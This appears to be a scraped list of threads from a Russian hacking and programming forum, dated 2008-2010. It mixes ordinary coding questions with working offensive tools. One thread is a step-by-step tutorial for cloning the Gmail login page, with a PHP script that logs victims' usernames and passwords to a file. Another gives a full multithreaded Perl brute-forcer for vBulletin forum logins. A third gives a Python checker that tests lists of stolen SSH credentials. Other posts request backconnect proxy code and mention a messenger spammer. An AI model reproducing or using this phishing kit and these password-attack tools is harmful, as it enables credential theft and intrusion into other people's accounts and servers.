Author: zZzonline
Replies: 0 Views: 2K

estb aki fidelity ! predlozheniya pishite v lichku !

Два вопроса.
ID: 67668b27b4103b69df375e4d
Thread ID: 20037
Created: 2010-07-14T06:15:23+0000
Last Post: 2010-07-14T11:28:44+0000
Author: Chococream
Replies: 4 Views: 2K

Всем привет!

Вообщем два вопроса возникло(запарился):

1)Имеется ASCII значение скажем в буффере.
Я его пихаю в htons(buffer); в следствие чего значение не правильно считывается, как потом из отладчика понял, что требуется hex значение.
Стал курить wsprintf - не помогло. Нашёл где-то алгоритм конвертации из дек в хекс - не помогло(точнее: не доработал сам алгоритм для моей ситуации).

Code:Copy to clipboard

.data
table db "0123456789ABCDEF", 0
buffer db '1234', 0

.code
 invoke GetProcessHeap
 invoke HeapAlloc,eax,0,ebx;?
 mov edx,eax
 xor ecx,ecx
cykl:
 lea eax,buffer
 mov al,[eax+ecx];?
 mov ah,al
 shr al,4
 and ah,0fh
 lea ebx,table
 xlatb
 xchg ah,al
 xlatb
 mov byte ptr [edx+ecx*2],ah
 mov byte ptr [edx+ecx*2+1],al
 inc ecx
 cmp ecx,sizeof buffer
 jne cykl;edx = result.

Если же просто по дефолту сунуть число htons(1234);(в отладчике 4D2) - работает норм.

2)Мб кто подкинет примеров по backconnect(за*бался изобретать велосипед).
Реализовал cmd backconnect, сейчас ломаю голову над сокс5 бэкконнект(гуглил долго в поисках сырцов).
Как я понял: пишем приложение, которое открывает два порта на компе(один - клиентский, другой - для удалённого приложения), дальше устанавливается коннект удалённого приложения со вторым портом и слушается первый порт(клиентский).
Увидеть бы сорцы в качестве примера.

yahoo api
ID: 67668b27b4103b69df375e4e
Thread ID: 19814
Created: 2010-06-10T15:16:57+0000
Last Post: 2010-07-04T03:02:47+0000
Author: j0ker13
Replies: 1 Views: 2K

kto nit' zanimalsya razrabotkoj chto nit' tipa mail-client na api?
kto pomozhet primerom

php & json
ID: 67668b27b4103b69df375e4f
Thread ID: 19917
Created: 2010-06-27T08:39:55+0000
Last Post: 2010-06-29T13:35:55+0000
Author: j0ker13
Replies: 2 Views: 2K

как правильно составлять массивы для json?

Code:Copy to clipboard

$result=mysql_query("SELECT name FROM `user`");
$users= array();
while($row=mysql_fetch_assoc($result)){
array_push($users, $row['name']);
$json_data=json_encode($users);
}
out:
["vasya","fedya","andry","olya","max"]

вроде все нормально. но если нужно вывести в json еще данные? например вывести еще имя админа

Code:Copy to clipboard

$result=mysql_query("SELECT name FROM `admin` WHERE `id`=1);
$name_admin=mysql_fetch_assoc($result);

вот вопрос. как правильно вывести json. объединить массивы
если сделать так

Code:Copy to clipboard

$json=array_merge($name_admin,$users);
$json_data=json_encode($json);

out:
{"name_admin":"alex ma","0":"vasya","1":"fedya","2":"andry","3":"olya","4":"max"}

охота было бы так

Code:Copy to clipboard

{"name_admin":"alex ma","users":["vasya","fedya","andry","olya","max"]}
Журнал регистрации заявок на устр. поломок сети
ID: 67668b27b4103b69df375e50
Thread ID: 19893
Created: 2010-06-23T14:20:55+0000
Last Post: 2010-06-23T14:20:55+0000
Author: penguen
Replies: 0 Views: 2K

Начал делать журнал заявок. С пых-пыхом особо не на ура дружу.
Посиму строго не пинайте деды кодинга :D

Создал отдельную тему, чтобы не засорять иную "Запросник по скриптам", т.к. будут еще вопросы по сабжу. Задавал вопросы на forum.php.su
Толком или не отвечают, или отвечают но с задержкой, или тупо стеб. Одним словом заеб** слушать умников и моральных деградантов. Дадеюсь на вашу помощь.
Заранее спасибо.

вот дамп бд:

Code:Copy to clipboard

CREATE TABLE `zayavki` (
  `id` int(255) NOT NULL AUTO_INCREMENT,
  `address` varchar(255) NOT NULL,
  `telephone` varchar(255) NOT NULL,
  `ethernet` varchar(255) NOT NULL,
  `problem` varchar(255) NOT NULL,
  `admcomment` varchar(255) NOT NULL,
  `comment` varchar(255) NOT NULL,
  `who` varchar(255) NOT NULL,
  `number` decimal(65,0) NOT NULL,
  `add_date` datetime NOT NULL,
  `stop_date` datetime NOT NULL,
  PRIMARY KEY (`id`,`address`)
) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8;

уточнение по полю ethernet, здесь заносится 1 или 0, 1 -это сетевики, 0- модемное соединение.
**
вот сам пых-код**

Code:Copy to clipboard

<html>
<head>
<style type="text/css">
th {
font-weight:bold;
background-color:orange;
font-size:14px;
}

td {
font-size:14px;
color: #00;
text-align:center;
}
</style>
</head>
<body>
<table border=1 width=95% align=center valign=middle>
<th>№</th><th>Дата принятия</th><th>Адрес абонента</th><th>Телефон</th><th>Вид подкл.</th><th>Коментарий</th><th>Кто сделал</th><th>Комент админа</th><th>Дата выполн.</th>
<?php
//$ethernet='';
require_once("conf/config.php");

$ethernet=0;
/*
    if(!$result)
    {
	echo mysql_error();
	echo $query;
	exit();
    }

*/
// $vivod = mysql_fetch_array($result);
 //$skolkozayav = mysql_num_rows($result);

 /******++++++++++++++++++++++++++++++++++++++++++******/

#echo $_SERVER['QUERY_STRING'];
//$ethernet=$_GET["ethernet"];

if( $_GET['ethernet']==0)
{
    $query  = "SELECT *, DATE_FORMAT(add_date,'%d.%m.%Y %T'), DATE_FORMAT(stop_date,'%d.%m.%Y %T') AS add_date,stop_date FROM zayavki WHERE `ethernet`=".(int)$_GET['ethernet'];
$result = mysql_query($query);

$number=0;
 while ($myrow=mysql_fetch_array($result))
 {
 $number++;
echo "<tr><td>$number</td><td>$myrow[add_date]</td><td>$myrow[address]</td><td>$myrow[telephone]</td><td>$myrow[ethernet]</td><td>$myrow[comment]</td><td>$myrow[who]</td><td>$myrow[admcomment]</td><td>$myrow[stop_date]</td></tr>";

 }


}
elseif ($_GET['ethernet']==1)
{
$query  = "SELECT *, DATE_FORMAT(add_date,'%d.%m.%Y %T'), DATE_FORMAT(stop_date,'%d.%m.%Y %T') AS add_date,stop_date FROM zayavki WHERE `ethernet`=".(int)$_GET['ethernet'];
$result = mysql_query($query);
$number=0;
 while ($myrow=mysql_fetch_array($result))
 {
 $number++;

echo "<tr><td>$number</td><td>$myrow[add_date]</td><td>$myrow[address]</td><td>$myrow[telephone]</td><td>$myrow[ethernet]</td><td>$myrow[comment]</td><td>$myrow[who]</td><td>$myrow[admcomment]</td><td>$myrow[stop_date]</td></tr>";
}
}
else
{
$query  = "SELECT *, DATE_FORMAT(add_date,'%d.%m.%Y %T'), DATE_FORMAT(stop_date,'%d.%m.%Y %T') AS add_date,stop_date FROM zayavki LIMIT 0,25";

 $result = mysql_query($query);
  if(!$result)
     {
	echo mysql_error();
	echo $query;
	exit();
     }
$number=0;
 while ($myrow=mysql_fetch_array($result))
 {
 $number++;
//echo "<tr><td>$number</td><td>$myrow[add_date]</td><td>$myrow[address]</td><td>$myrow[telephone]</td><td><a href=\"problem.php?ethernet=$myrow[ethernet]\"><img border=0 src=\"/images/$myrow[ethernet].png\"></a></td><td>$myrow[comment]</td><td>$myrow[who]</td><td>$myrow[admcomment]</td><td>$myrow[stop_date]</td></tr>";

echo "test";
 }
 }

?>
 </table>
 </body>
 </html>

config.php

Code:Copy to clipboard

<?php

$title="Problem";
$html_keywords="";
$html_description="";
/*****************************/
  $db_host = "localhost";
  $db_user = "root";
  $db_pass = "PKgR2gie";
  $db_name = "journal_problem";
  if(!mysql_connect($db_host, $db_user, $db_pass)) echo "Не могу подключиться к MySQL!
";
  if(!mysql_select_db($db_name)) echo "Не могу найти базу!
";
mysql_query("SET NAMES `utf8`");
?>

Принимаю любую адекватную критику и помощь по кодинку. Как запросов и оптимизации таблицы, так и кодинга.

Проблема пока в том, что по условию не выводит ничего. Где я пропарился?
Пните в нужном направлении. Спасибо заранее

Простенький фейк на любой сайт. Бесплатно.
ID: 67668b27b4103b69df375e52
Thread ID: 19515
Created: 2010-05-21T11:13:03+0000
Last Post: 2010-06-02T13:55:48+0000
Author: b3jiom
Replies: 3 Views: 2K

Делаем сами фейк к примеру почты google при помощи оперы и блокнота

И так открываем страницу авторизации http://mail.google.com/mail/?hl=ru&tab=wm
Вот так будет выгледеть наш фейк)) по крайней мере должен быть))
Смотрим исходный код страницы (в опере правой мышой Иходный код)

Выгледит так (вырезал только то что нам надо):

Code:Copy to clipboard

<html lang="ru" dir="ltr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">



<form  id="gaia_loginform"
      
        action="https://www.google.com/accounts/ServiceLoginAuth?service=mail" method="post"
      
    
  Имя пользователя:

  <input  type="text" name="Email"  id="Email"
  size="18" value=""
  
  
    class='gaia le val'
  

  Пароль:
  
  <input  type="password"
   name="Passwd" id="Passwd"
  size="18" 
  ***
  

выделяем все (ctrl+A) и копируем (ctrl+Insert)
Создаем текстовый файл и подпишем его index.html и вставляем то что скопировали (shift+Insert) сохраняем в новой папке.
Здесь же создаем еще два текстовых файла. Один назовем base.txt, второй - log.php cо следующим содержимым:

Code:Copy to clipboard

<?PHP
$Login = $_POST['login'];
$Pass = $_POST['passwd'];
$log = fopen("base.txt","a+");
fwrite($log,"\n $Login:$Pass \n");
fclose($log); //закрываем
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=https://********'></head></html>";
?>

Здесь URL=https://********' заменим на https://www.google.com/accounts/ServiceLogin?service=mail

И так далее откроем index.html и мы видем какую то хрень)
Ищем в коде (ctrl+F) "charset=UTF-8" и меняем на charset=cp-1251
Далее смотрим чтобы авторизаваться на майле нам нужен логин и пароль.
Смотрим куда нас ведет кнопка "Войти"(в опере когда мышу наводишь показывает ссыль) в нашем случае это https://www.google.com/accounts/ServiceLogin?service=mail ищем в индек.хтмл "service=mail"
Видим следующее:

Code:Copy to clipboard

action="https://www.google.com/accounts/ServiceLoginAuth?service=mail"

Меняем на

Code:Copy to clipboard

action="log.php"

Дальше найдем "Имя пользователя" чуть ниже видим "name="Email"" заменим на name="login"
Тоже самое с "Пароль:" Видим name="Passwd" так и оставим только изменим P на p. (В иных случаях меняем на name="passwd")
Сохраняем и заливаем на фтп. По идеи все должно работать)
Проверяем вводим mail и пароль test к примеру жмем Войти либо ентер.
Терь смотрим /base.txt и видим:

mail:test

Все вери гут!!! Работает.
И еще в данном случае картинки диз и прочая лабуда здесь в коде в виде https://mail.google.com/mail/help/images/greybtn.png
Обычно всегда так /mail/help/images/greybtn.png
И естественно если вы зальете на хост оно у вас не найдет /mail/help/images/greybtn.png
Следовательно надо вручную добавить https://mail.google.com (либо ссыль любого сайта на который делали фейк)

скрипт log.php взят с какого то фейка уже и не вспомню... Кто автор хз))
Отдельное спс уважаемым Ar3s и TrueUser.
:punk:

zend names deobufscator
ID: 67668b27b4103b69df375e53
Thread ID: 19492
Created: 2010-05-18T04:26:02+0000
Last Post: 2010-05-18T04:26:02+0000
Author: Dragon_X
Replies: 0 Views: 2K

В приложенном архиве - zend deobufscator с 5779 предопределёнными именами. Можно добавлять свои.

История изменений:

2010-04-07
Добавлено ещё 345 имен, всего добавлено 469 имен
Итого: 5779 имен

2010-03-25
Добавлено ещё 71 имя, всего добавлено 124 имен
Итого: 5434 имени

2010-03-09
Добавлено 53 имен
Итого: 5363 имени

Spoiler: 25

http://www.sendspace.com/file/h83dj4

jquery
ID: 67668b27b4103b69df375e54
Thread ID: 18675
Created: 2009-12-06T13:20:08+0000
Last Post: 2010-04-29T14:25:37+0000
Author: j0ker13
Replies: 4 Views: 2K

est' forma

Code:Copy to clipboard

<form id="test" action="test.php" method="get">
<input type="text" name="log">
<input type="password" name="pass">
<input type="submit" value="send">
</form>

dlya primera)

dalee idet kod

Code:Copy to clipboard

$("#test").submit(function(){
   alert("!!");
   return false;
})

kakie momenty est' chtoby jquery ne smogla privyazatsya k otpravke formy?
js vklyuchen.
biblioteki jquery.min i jquery-ui.min vstavlyayutsya

Помощь
ID: 67668b27b4103b69df375e55
Thread ID: 19338
Created: 2010-04-26T03:39:28+0000
Last Post: 2010-04-26T20:05:56+0000
Author: BraunC2
Replies: 2 Views: 2K

Разработка дипломного проекта "Автоматизации рабочего места сотрудника отдела кадров"!!!
Ребят если есть у кого сорцы киньте а! Разработка ведётся на Delphi турбо!=)

Помогите чем сможете не оставте без внимания!
:baby:

root cheker
ID: 67668b27b4103b69df375e59
Thread ID: 19099
Created: 2010-03-01T16:34:36+0000
Last Post: 2010-03-05T14:50:56+0000
Author: overxor
Replies: 3 Views: 2K

Code:Copy to clipboard

import paramiko
import sys, os 
import socket
import re

# - - - - - - - - - - - - - - - - #
#          SSH Checker          #
# - - - - - - - - - - - - - - - - #

#log_file    = "log.txt"
read_access = "access.txt"
sucess = 0

ssh = paramiko.SSHClient()


#    Test on connect to server 
def is_work_sshd(host, dPort=22):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    sock.settimeout(20) 
    try:
        sock.connect((host, dPort))
    except:
    #    print "Connect to ssh server timeout"
        return 1

#    print "Connect Ok"
    sock.close()
    return 0

''' Test host on avalible 
def pinger(host):
    result_ping = os.popen("ping -c 3 %s" % host)
    if result_ping.read().search("bytes"):
        print "find bytes"
        return 1
    return 0
'''
    
def check_server(host, user, password, port=22):
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    # test on connect to ssh
    if is_work_sshd(host,port): return 2
    
    try:
        ssh.connect(host, username=user, password=password, port=port)
        ssh.close()             # Close ssh session
    except:
        #print 'Error'
        return 1
    return 0

if not os.path.exists(os.getcwd() + '/' + read_access):
    print "File not found!"
    sys.exit()

fd = open(read_access, "r")
for i in fd.readlines():
    if  i[-1:] == '\n':
        i = i[:-1]
 
    port = 22

    res = i.split(':')
    if(len(res) > 2):
        user,host,password = res[:3]
    if(len(res) > 3):
        port = int(res[3])

    #print user, host, password, port
    ret = check_server(host, user, password, port)
    if not ret:
        print "Connect to %s [success]" % host
    elif ret == 1:
        print "Connect to %s [error]" % host
    else: 
        print "Connect to %s [timeout]" % host

Данный скрипт будет проверять серверы на доступ через ssh.
формат файла access.txt, откуда будут браться данные для проверки.
user:host:password:[port]
параметр port опционально, по дефолту 22

для работы скрипта необходим модуль paramiko
установка во freebsd
cd /usr/ports/security/py-paramiko && make install clean
или из сорцов

Функция clock()
ID: 67668b27b4103b69df375e5d
Thread ID: 18735
Created: 2009-12-19T23:16:06+0000
Last Post: 2009-12-20T04:40:34+0000
Author: DarckSol
Replies: 1 Views: 2K

Увалок функцию, но не могу в ней разобраться....

Code:Copy to clipboard

<tr><td>
<table border="0" cellpadding="1" cellspacing="1" width="100%">
<tbody><tr><td><div id="ngx1" align="center"><b>ДО НОВОГО ГОДА ОСТАЛОСЬ
313 час. 46 мин. 43 сек. </b></div>
<script language="javascript">
var timeStr, dateStr, ostStr, x;
function clock() {
now= new Date();
ex = new Date(2010,0,1,0,0,0);
hours= now.getHours();
minutes= now.getMinutes();
seconds= now.getSeconds();
timeStr= "" + hours;
timeStr+= ((minutes < 10) ? ":0" : ":") + minutes;
date= now.getDate();
month= now.getMonth()+1;
year= now.getYear();
dateStr= "" + date;
dateStr+= ((month < 10) ? "/0" : "/") + month;
dateStr+= "/" + year;
ostStr= "";
x = y = (ex.getTime() - now.getTime())/1000;
s_ch = Math.floor(x/60/60);
ostStr = ((s_ch < 10) ? "0" : "") + s_ch + ' час. ';
s_min = Math.floor((x/60/60 - Math.floor(x/60/60))*60);
ostStr = ostStr + ((s_min < 10) ? "0" : "") + s_min + ' мин. ';
x = (((x/60/60 - Math.floor(x/60/60))*60) - Math.floor((x/60/60 - Math.floor(x/60/60))*60))*60;
s_sec = Math.floor(x);
ostStr = ostStr + ((s_sec < 10) ? "0" : "") + s_sec + ' сек. ';
if(y >= 0) {
document.getElementById('ngx1').innerHTML = '<b>ДО НОВОГО ГОДА ОСТАЛОСЬ
' + ostStr;
Timer= setTimeout("clock()",500);
} else { document.getElementById('ngx1').innerHTML = '<b>ПОЗДРАВЛЯЕМ ВАС
С НОВЫМ 2010 ГОДОМ'; }
}
clock();
</script>
</td></tr></tbody></table>
</td></tr>

Не могу понять как происходит расчёт выдочи времени если задать конечную дату...

Code:Copy to clipboard

ex = new Date(2010,0,1,0,0,0);

Как с ней управятся... расскажите кто понимает...

Упал мускул
ID: 67668b27b4103b69df375e60
Thread ID: 18592
Created: 2009-11-19T13:32:37+0000
Last Post: 2009-11-19T13:44:41+0000
Author: Darkmist
Replies: 1 Views: 2K

Утром ребутнул сервак, мускул вывалил страность....- * /etc/init.d/mysql: ERROR: The partition with /var/lib/mysql is too full!
помогите разобраться; насколько я понимаю нужно почистить вар\либ но как это сделать??

JavaScript: Iframe значение из Parent в Child
ID: 67668b27b4103b69df375e67
Thread ID: 17848
Created: 2009-06-26T15:28:51+0000
Last Post: 2009-06-27T10:20:15+0000
Author: analitique
Replies: 1 Views: 2K

Здравствуйте, возник такой вопрос:
могу передать значение из child iframe в parent таким образом:

Code:Copy to clipboard

<script language="JavaScript">
function execa() {
parent.document.getElementById('IDvParent').innerHTML='Value';

</script>

из child iframe в другой child iframe:

Code:Copy to clipboard

<script language="JavaScript">
function execa() {
parent.child2.document.getElementById('IDvChild2').innerHTML='Value';

</script>

а как это сделать из parent в child?

ПХП браузер с поддержкой DOM
ID: 67668b27b4103b69df375e68
Thread ID: 17826
Created: 2009-06-24T11:05:29+0000
Last Post: 2009-06-24T18:20:33+0000
Author: lisa99
Replies: 2 Views: 2K

Не знает ли кто-то готового php браузера на основе DOM?
(видела в сети просто пхп-браузер)

Инвайт система
ID: 67668b27b4103b69df375e69
Thread ID: 17830
Created: 2009-06-24T13:02:20+0000
Last Post: 2009-06-24T14:55:17+0000
Author: uhodiransomwar
Replies: 2 Views: 2K

Скажите как можно реализовать инвайт систему на php, искал в гугле, не нашел :cry2: . Может кто подскажет

TEST IQ on php
ID: 67668b27b4103b69df375e76
Thread ID: 17092
Created: 2009-03-04T16:55:20+0000
Last Post: 2009-03-07T05:19:01+0000
Author: Engineer
Replies: 1 Views: 2K

Доброе время суток, с недавних пор ищу скрипт теста iq не у кого в софте не завалялся? А то в сети гавно, а самому писать неохота ввиду не хватки времени )

Сравнение прог на C и Pascal
ID: 67668b27b4103b69df375e7f
Thread ID: 16081
Created: 2008-10-28T14:12:05+0000
Last Post: 2008-11-03T12:34:54+0000
Author: mause
Replies: 1 Views: 2K

Добрый день, возникла проблема. Есть 2 проги, делают одно и то же, на паскале и на Си, исходная прога написана на С, но им я не владею, пришлось переписать на Паскаль, но что то как то криво вышло, сишная прога роблет, а паскалевкая нет. Это проги управления платой PCI 1710, сбор данных. В принципе ничего сложного нет, но понять в чем ошбка не могу :bang:
Листинги прог в атаче. Прошу помощи!

Ошибки веб-сервера
ID: 67668b27b4103b69df375e80
Thread ID: 15940
Created: 2008-10-14T17:34:24+0000
Last Post: 2008-10-14T17:34:24+0000
Author: baltazar
Replies: 0 Views: 2K

Коды первого класса (1xx) не посылаются сервером клиентам.

Коды второго класса (2xx) возникают, когда запрос успешно принят и понят сервером.

200 - ОК. Пользователю не посылается.
201 - Created. Объект создан.
202 - Accepted. Информация принята.
203 - Non-Authoritative Information. Не заслуживающая доверия информация.
204 - No content. Нет содержания.
205 - Reset Content. Восстановить исходное содержание.
206 - Partial Content. Частичное содержание.

Коды третьего класса (3xx) сообщают о перенаправлениях; чтобы выполнить запрос нужны еще какие-то действия.

300 - Multiple Choices. Несколько вариантов на выбор.
301 - Moved Permanently. Ресурс перемещен на постоянной основе.
302 - Moved Temporarily. Ресурс временно перемещен.
303 - See Other. Смотрите другой ресурс.
304 - Not Modified. Не изменился.
305 - Use Proxy. Используйте прокси-сервер.

Коды четвертого класса (4xx) сообщают об ошибках клиента, т.е. о том, что проблема связана не с сервером, а с Вашими запросами.

400 - Bad Request. Некорректный запрос.
401 - Unauthorized. Нет разрешения.
402 - Payment Required. Требуется оплата.
403 - Forbidden. Доступ запрещен.
404 - Not Found. Ресурс не найден.
405 - Method Not Allowed. Недопустимый метод.
406 - Not Acceptable. Непреемлимый запрос.
407 - Proxy Authentication Required. Необходима регистрация.
408 - Request Timeout. Время обработки запроса истекло.
409 - Conflict. Конфликт.
410 - Gone. Ресурса больше нет.
411 - Length Required. Необходимо указать длину.
412 - Precondition Failed. Не выполнено предварительное условие.
413 - Request Entity Too Large. Запрашиваемый элемент слишком велик.
414 - Request-URI TOO Long. Идентификатор ресурса слишком длинный.
415 - Unsupported Media Type. Неподдерживаемый тип ресурса.

Коды пятого класса (5xx) сообщают об ошибке на сервере (к этим ошибкам Вы не имеете отношения).

500 - Internal Server Error. Внутренняя ошибка сервера.
501 - Not Implemented. Функция не реализована.
502 - Bad Gateway. Дефект шлюза.
503 - Service Unavailable. Служба недоступна.
504 - Gateway Timeout. Время прохождения через шлюз истекло.
505 - HTTP Version Not Supported. Неподдерживаемая версия HTTP.

Кто может написать
ID: 67668b27b4103b69df375e83
Thread ID: 15848
Created: 2008-10-02T08:58:59+0000
Last Post: 2008-10-02T08:58:59+0000
Author: SQL
Replies: 0 Views: 2K

Нужно намалять прогу/скрипт есть блог в http://blogs.yandex.ru/top/,
есть : акки яндекса вида мыло:пароль
нужно :
1)ввод адреса rss ленты [http://lenta- ng.yandex.ru/settings.xml?name=feed&groupid=0](http://lenta- ng.yandex.ru/settings.xml?name=feed&groupid=0)
2)чтобы автоматом добавлялась rss лента
Что даёт : вывод блога,сайта в рейтинги на первые места +-

Может кто может отделать нех накатать ?)
Буду благодарен,не только я !

Yahoo Messenger Spammer [masm]
ID: 67668b27b4103b69df375e89
Thread ID: 15781
Created: 2008-09-20T15:19:05+0000
Last Post: 2008-09-20T15:19:05+0000
Author: Noctambulaar
Replies: 0 Views: 2K

Тестировано на YIM 8.1.0, вес 2 кб :huh:

Фоновые картинки
ID: 67668b27b4103b69df375e8c
Thread ID: 15676
Created: 2008-09-07T12:48:03+0000
Last Post: 2008-09-07T12:48:03+0000
Author: Ma-stiff
Replies: 0 Views: 2K

Если посмотреть фоновый рисунок например у названия раздела на главной форума, можно увидеть, что картинка достаточно приличной ширины, хотя можно было бы добиться того же результата при ширине в 1 пиксель. И картинка закачивалась бы быстрее. Но с другой стороны по идее это увеличивает количество картинок в памяти браузера. Соответственно вопрос на засыпку какой рамер или ширина оптимальнее в плане ресурсов для фонового изображения.

Паковщик-лоадер .
ID: 67668b27b4103b69df375e8e
Thread ID: 15290
Created: 2008-07-27T21:17:32+0000
Last Post: 2008-07-27T21:17:32+0000
Author: Silentium
Replies: 0 Views: 2K

По ходу раскуривания темы паковщиков возник этот вопрос .
Какой-то авторитетный человек на васме писал что совпеменные крипторы , в большинстве своем , работают как лоадеры .
Как помниться , hellknight'ы на сайте давали пример , опять же , лоадера .
Может быть кто-то из них или другие знающие люди растолкуют мне преимущества такого подхода . Чем лоадер лучше более классических :
a) Добавления своего распаковщика в сдвинутый PE header
б) Добавления распаковщика в конец секции .
в) Создания секции
и тд и тп вариантов .

брут под vBulletin 3
ID: 67668b27b4103b69df375e91
Thread ID: 15253
Created: 2008-07-15T12:09:15+0000
Last Post: 2008-07-15T12:09:15+0000
Author: m0s]{
Replies: 0 Views: 2K

брут под vBulletin 3

Code:Copy to clipboard

#!/usr/bin/perl

#################################################
#          vBulletin 3 (rus) brute
#            -------------
#
#   copyright : (C) Cyber Lords, 2002-2007
#         http://www.cyberlords.net 
#
#           Coded by VeX [614883] 
#################################################

### modules ###
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;

### main ###
usage() if ($ARGV[0] eq "-h" || $ARGV[0] eq "-help");
print "\n\n~~~ vBulletin 3 (rus) brute by VeX 1.0.3 ~~~\n\n";
getopt("lpuht");

$logins  = $opt_l || 'logins.txt';
$pass    = $opt_p || 'pass.txt';
$host    = $opt_u;
$logs    = $opt_h || 'logs.txt';
$threads = $opt_t || 50;

open(P, $pass) or die "\n[-] Don't open ".$pass." file\n"; 
while(<P>) { push(@pass, $_); }
close(P);
open(L, $logins) or die "\n[-] Don't open ".$logins." file\n"; 
while(<L>) { push(@logins, $_); }
close(L);

print "[+] Loading ".scalar(@logins)." logins\n"; logs("[+] Loading ".scalar(@logins)." logins\n");
print "[+] Loading ".scalar(@pass)." passwords\n"; logs("[+] Loading ".scalar(@pass)." passwords\n\n");

  foreach $login (@logins)
  {
     chomp($login);
  foreach $pass (@pass)
  {
     chomp($pass);
  push (@info, "$login---$pass");
  }
   }

#for(@info){ print "$_\n"; }

while(1) {
  for ($i=0;$i<=$threads;$i++) {
     unless($info[$counter]) {
     killpidz();
     exit;
  }
  if ($pid=fork()) {
     push(@forked,$pid);
  } 
  else {
     ($user, $pass) = split /---/, $info[$counter];
  chomp($user); chomp($pass); 
  
     if(brute($user, $pass))
  {
     print "\n\n[+] Find [$user:$pass]";
  logs("\n\n[+] Find [$user:$pass]");
  $counter = scalar(@info)+1;
  exit(1);
  }
     exit;
  }
  $counter++;
  }
killpidz();
}

sub brute {
  my($user, $pass) = @_;
  $data = "vb_login_username=$user&cookieuser=1&vb_login_password=$pass&s=&do=login&vb_login_md5password=&vb_login_md5password_utf=";
  
  $cookie_jar = new HTTP::Cookies();
  $opera = new LWP::UserAgent;
  $opera->agent('Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))');
  $opera->timeout(30);
  $h = new HTTP::Headers
Accept => 'application/vnd.ms-excel, application/msword, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-comet, */*',
User_Agent => 'Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))',
Referer => 'http://google.com/';

  $request = new HTTP::Request('GET', $host, $h);
  $response = $opera -> request($request);
  $content = $response -> content;
  $cookie_jar->extract_cookies($response);
  
  open(C, ">login_1.html"); print C $content; close(C);
  
  $h = new HTTP::Headers
Accept => 'application/vnd.ms-excel, application/msword, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-comet, */*',
User_Agent => 'Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))',
Referer => $host;
  $request = new HTTP::Request('POST', $host."login.php?do=login", $h); 
  $cookie_jar -> add_cookie_header($request);  
  $request->content_type('application/x-www-form-urlencoded');
  $request->content('type=another');
  $request->content($data);
  $response = $opera -> request($request);
  $content = $response -> content;
  $cookie_jar->extract_cookies($response);
  
  open(C, ">login_2.html"); print C $content; close(C); 
  
  if($content=~m/Спасибо за вход/){ print "[+] $user:$pass ... ok\n"; return 1; }
  else{ print "[-] $user:$pass ... error\n"; return 0; } 
}

sub logs {
  $text = shift;
  open(L, ">>".$logs); print L $text; close(L);
}

sub usage {
  print "\nUsage: $0 [options]...\n\n";
  print "Options are:
   -u: Forum url
   -l: Login's file [Default: login.txt]
   -p: Password's file [Default: pass.txt]
   -h: Log's file [Default: logs.txt]
   -t: Threads [Degault: 50]
   -h: This help

Exemple:
   perl brute.pl -u \"http://www.raginfo.ru/forum/\" -l users.txt -p big_pass.txt -h logi.txt -t 25\n";
  exit(1);
}

sub killpidz {
foreach (@forked) {
  chomp;
  waitpid($_,0);
  kill("TERM" => $_)
}
undef @forked;
}

exit(1);
php2exe
ID: 67668b27b4103b69df375e92
Thread ID: 15056
Created: 2008-05-13T19:25:29+0000
Last Post: 2008-06-08T08:45:19+0000
Author: CannabiS
Replies: 2 Views: 2K

Парни перевернул все поиковики на уши....найти не могу ...все ссылки битые ....у кого есть поделитесь .... :help:

Как быстро делать merge нескольких файлов?!
ID: 67668b27b4103b69df375e95
Thread ID: 14999
Created: 2008-04-30T09:53:47+0000
Last Post: 2008-05-02T11:48:07+0000
Author: ULTRA
Replies: 5 Views: 2K

Суть проста: слить несколько отсортированных файлов в один. Реализация на php. Как вам кажеться это оптимальный алгоритм?

@$handles_buf[$k]['last'])) { if (feof ($handles[$k])) { echo "\nFEOF {$arr_files[$k]}\n"; fclose ($handles[$k]); unset ($handles[$k]); unset ($handles_buf[$k]); continue; } else { echo "\nread {$arr_files[$k]}\n"; unset ($handles_buf[$k]); $buf = fread ($handles[$k], 10000000); $buf .= fgets ($handles[$k]); $handles_buf[$k]['arr'] = explode ("\n", $buf); $handles_buf[$k]['counter'] = 0; $handles_buf[$k]['last'] = count ($handles_buf[$k]['arr']) - 1; } } if ($first == 0) { $first = 1; $first_num = $k; } else { if (strcmp ($handles_buf[$first_num]['arr'] [$handles_buf[$first_num]['counter']], $handles_buf[$k]['arr'][$handles_buf[$k]['counter']]) > 0) { $first_num = $k; } } } if ($first == 0) { die; } fwrite ($fh, $handles_buf[$first_num]['arr'][$handles_buf[$first_num] ['counter']]."\n"); $handles_buf[$first_num]['counter']++; if ($counter - $old_counter > 10000) { echo "\r".$counter." $first_num ". $handles_buf[$first_num]['arr'][$handles_buf[$first_num] ['counter']]; $old_counter = $counter; } $counter++; } ?>
1000 Web-Templates
ID: 67668b27b4103b69df375e96
Thread ID: 14479
Created: 2008-01-28T20:18:26+0000
Last Post: 2008-03-31T09:14:45+0000
Author: baltazar
Replies: 3 Views: 2K

**

1000 Web-Templates !!! ​

**
Скачать 1000 Web-Templates:
[http://rapidshare.com/files/38390992/1000w....part1.rar.html](http://rapidshare.com/files/38390992/1000web- templates_by_RusWareZ.Net.Ru_and_Epidem.ru.part1.rar.html)
[http://rapidshare.com/files/38390734/1000w....part2.rar.html](http://rapidshare.com/files/38390734/1000web- templates_by_RusWareZ.Net.Ru_and_Epidem.ru.part2.rar.html)
[http://rapidshare.com/files/38390715/1000w....part3.rar.html](http://rapidshare.com/files/38390715/1000web- templates_by_RusWareZ.Net.Ru_and_Epidem.ru.part3.rar.html)
[http://rapidshare.com/files/38391228/1000w....part4.rar.html](http://rapidshare.com/files/38391228/1000web- templates_by_RusWareZ.Net.Ru_and_Epidem.ru.part4.rar.html)
[http://rapidshare.com/files/38390757/1000w....part5.rar.html](http://rapidshare.com/files/38390757/1000web- templates_by_RusWareZ.Net.Ru_and_Epidem.ru.part5.rar.html)
